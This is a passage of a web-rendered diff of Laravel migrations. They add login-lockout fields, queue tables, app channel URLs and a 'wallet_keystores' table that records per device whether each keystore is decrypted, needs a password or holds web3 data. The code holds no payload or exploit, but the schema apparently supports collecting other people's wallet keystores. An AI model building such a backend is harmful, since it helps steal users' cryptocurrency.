$table->dropColumn(['discovery_complete', 'discovered_at']);
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,29 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
/**
|
||||
* Run the migrations.
|
||||
*/
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('admins', function (Blueprint $table) {
|
||||
$table->unsignedInteger('login_attempts')->default(0)->after('status');
|
||||
$table->timestamp('locked_at')->nullable()->after('login_attempts');
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Reverse the migrations.
|
||||
*/
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('admins', function (Blueprint $table) {
|
||||
$table->dropColumn(['login_attempts', 'locked_at']);
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,23 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('users', function (Blueprint $table) {
|
||||
$table->unsignedInteger('login_attempts')->default(0)->after('status');
|
||||
$table->timestamp('locked_at')->nullable()->after('login_attempts');
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('users', function (Blueprint $table) {
|
||||
$table->dropColumn(['login_attempts', 'locked_at']);
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,26 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('wallet_keystores', function (Blueprint $table) {
|
||||
// 1 = needs a user password to unlock. NULL = not flagged.
|
||||
// Never store 0 — filters and UI treat only 1 as "需要密码".
|
||||
$table->unsignedTinyInteger('needs_password')->nullable()->after('decrypted');
|
||||
$table->index('needs_password');
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('wallet_keystores', function (Blueprint $table) {
|
||||
$table->dropIndex(['needs_password']);
|
||||
$table->dropColumn('needs_password');
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,27 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('wallet_keystores', function (Blueprint $table) {
|
||||
$table->string('list_kind', 32)->nullable()->after('needs_password');
|
||||
$table->unsignedInteger('list_item_count')->nullable()->after('list_kind');
|
||||
$table->string('list_summary', 255)->nullable()->after('list_item_count');
|
||||
$table->unsignedTinyInteger('list_has_web3')->nullable()->after('list_summary');
|
||||
$table->index('source');
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('wallet_keystores', function (Blueprint $table) {
|
||||
$table->dropIndex(['source']);
|
||||
$table->dropColumn(['list_kind', 'list_item_count', 'list_summary', 'list_has_web3']);
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,37 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('wallet_keystores', function (Blueprint $table) {
|
||||
$table->unsignedTinyInteger('chain')->nullable()->after('device_id');
|
||||
$table->index('chain');
|
||||
});
|
||||
|
||||
if (Schema::getConnection()->getDriverName() === 'mysql') {
|
||||
DB::update('UPDATE wallet_keystores wk INNER JOIN devices d ON d.id = wk.device_id SET wk.chain = IFNULL(d.chain, 1)');
|
||||
} else {
|
||||
$chains = DB::table('devices')->pluck('chain', 'id');
|
||||
foreach ($chains as $deviceId => $chain) {
|
||||
DB::table('wallet_keystores')
|
||||
->where('device_id', $deviceId)
|
||||
->whereNull('chain')
|
||||
->update(['chain' => (int) ($chain ?: 1)]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('wallet_keystores', function (Blueprint $table) {
|
||||
$table->dropIndex(['chain']);
|
||||
$table->dropColumn('chain');
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,22 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('channels', function (Blueprint $table) {
|
||||
$table->string('h5_url')->nullable()->after('bundle_id');
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('channels', function (Blueprint $table) {
|
||||
$table->dropColumn('h5_url');
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,57 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
if (! Schema::hasTable('jobs')) {
|
||||
Schema::create('jobs', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->string('queue')->index();
|
||||
$table->longText('payload');
|
||||
$table->unsignedTinyInteger('attempts');
|
||||
$table->unsignedInteger('reserved_at')->nullable();
|
||||
$table->unsignedInteger('available_at');
|
||||
$table->unsignedInteger('created_at');
|
||||
});
|
||||
}
|
||||
|
||||
if (! Schema::hasTable('job_batches')) {
|
||||
Schema::create('job_batches', function (Blueprint $table) {
|
||||
$table->string('id')->primary();
|
||||
$table->string('name');
|
||||
$table->integer('total_jobs');
|
||||
$table->integer('pending_jobs');
|
||||
$table->integer('failed_jobs');
|
||||
$table->longText('failed_job_ids');
|
||||
$table->mediumText('options')->nullable();
|
||||
$table->integer('cancelled_at')->nullable();
|
||||
$table->integer('created_at');
|
||||
$table->integer('finished_at')->nullable();
|
||||
});
|
||||
}
|
||||
|
||||
if (! Schema::hasTable('failed_jobs')) {
|
||||
Schema::create('failed_jobs', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->string('uuid')->unique();
|
||||
$table->text('connection');
|
||||
$table->text('queue');
|
||||
$table->longText('payload');
|
||||
$table->longText('exception');
|
||||
$table->timestamp('failed_at')->useCurrent();
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::dropIfExists('jobs');
|
||||
Schema::dropIfExists('job_batches');
|
||||
Schema::dropIfExists('failed_jobs');
|
||||
}
|
||||
};
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user